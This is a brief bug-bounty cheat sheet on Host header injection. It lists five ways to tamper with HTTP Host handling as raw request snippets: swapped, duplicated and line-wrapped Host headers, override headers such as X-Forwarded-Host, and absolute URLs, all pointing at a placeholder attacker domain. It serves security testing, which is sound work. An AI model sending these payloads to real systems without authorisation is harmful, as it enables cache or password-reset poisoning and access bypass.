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AllAboutBugBounty/Host Header Injection.md
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Host Header Injection

  1. Change the host header
GET /index.php HTTP/1.1
Host: evil-website.com
...
  1. Duplicating the host header
GET /index.php HTTP/1.1
Host: vulnerable-website.com
Host: evil-website.com
...
  1. Add line wrapping
GET /index.php HTTP/1.1
 Host: vulnerable-website.com
Host: evil-website.com
...
  1. Add host override headers
X-Forwarded-For : evil-website.com
X-Forwarded-Host : evil-website.com
X-Client-IP : evil-website.com
X-Remote-IP : evil-website.com
X-Remote-Addr : evil-website.com
X-Host : evil-website.com

How to use? In this case im using "X-Forwarded-For : evil.com"

GET /index.php HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For : evil-website.com
...
  1. Supply an absolute URL
GET https://vulnerable-website.com/ HTTP/1.1
Host: evil-website.com
...

Source: https://portswigger.net/web-security/host-header/exploiting